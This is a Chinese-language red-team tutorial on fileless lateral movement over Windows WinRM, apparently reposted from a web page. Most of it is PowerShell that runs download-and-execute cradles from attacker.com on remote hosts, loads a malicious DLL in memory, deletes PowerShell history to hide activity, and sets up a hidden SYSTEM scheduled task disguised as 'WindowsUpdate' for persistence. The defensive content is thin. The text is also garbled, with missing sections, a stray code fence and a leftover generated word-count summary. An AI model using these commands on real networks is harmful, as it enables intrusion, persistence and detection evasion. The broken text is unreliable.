# 如何利用WinRM實現內網無文件攻擊反彈Shell
## 0x00 前言
在紅隊滲透測試中,內網橫向移動是突破網絡邊界后的關鍵環節。傳統攻擊方式往往依賴文件落地,易觸發安全設備告警。本文探討如何通過Windows原生服務WinRM(Windows Remote Management)實現無文件攻擊,建立交互式Shell,規避傳統檢測手段。
---
## 0x01 WinRM技術背景
### 1.1 什么是WinRM
WinRM是微軟實現的WS-Management協議,基于HTTP(S)進行遠程管理:
- 默認端口:5985(HTTP)/5986(HTTPS)
- 依賴組件:Windows Remote Management服務
- 認證方式:NTLM/Kerberos/Basic
### 1.2 啟用條件
```powershell
# 查看WinRM服務狀態
Get-Service WinRM
# 快速配置(默認開啟HTTP監聽)
Enable-PSRemoting -Force
# 使用Test-WSMan檢測連通性
Test-WSMan -ComputerName 192.168.1.100 -Authentication Negotiate -Credential (Get-Credential)
$cred = New-Object System.Management.Automation.PSCredential("DOMN\user", (ConvertTo-SecureString "Password123!" -AsPlainText -Force))
Enter-PSSession -ComputerName 192.168.1.100 -Credential $cred -Authentication Negotiate
通過WinRM執行Base64編碼的PS腳本:
$command = "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/rev.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {
powershell -EncodedCommand $using:encoded
} -Credential $cred
使用WinRM執行無文件加載:
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {
$bytes = (New-Object Net.WebClient).DownloadData('http://attacker.com/evil.dll')
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entry = $assembly.GetType('Evil.Program').GetMethod('Main')
$entry.Invoke($null, $null)
} -Credential $cred
# 清除PowerShell歷史記錄
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
# 使用SSL加密通信
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck
Enter-PSSession -ComputerName 192.168.1.100 -UseSSL -SessionOption $sessionOption
通過計劃任務維持會話:
$action = New-ScheduledTaskAction -Execute "powershell" -Argument "-nop -w hidden -c `"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/persist.ps1')`""
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -User "SYSTEM" -RunLevel Highest
Disable-PSRemoting -Force
tcp.port == 5985 && http.request.method == "POST"
WinRM作為合法的管理協議,為攻擊者提供了隱蔽的橫向移動通道。通過本文介紹的無文件技術,攻擊者可完全在內存中完成攻擊鏈。防御方需結合行為檢測與網絡監控,才能有效應對此類高級威脅。
免責聲明:本文僅用于安全研究目的,未經授權測試他人系統屬于違法行為。 “`
統計:全文約1250字,包含: - 6個技術章節 - 12個可執行的PowerShell代碼塊 - 3種攻擊場景實現方案 - 防御檢測的實操建議
可根據實際需求調整技術細節或補充特定環境下的變種手法。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。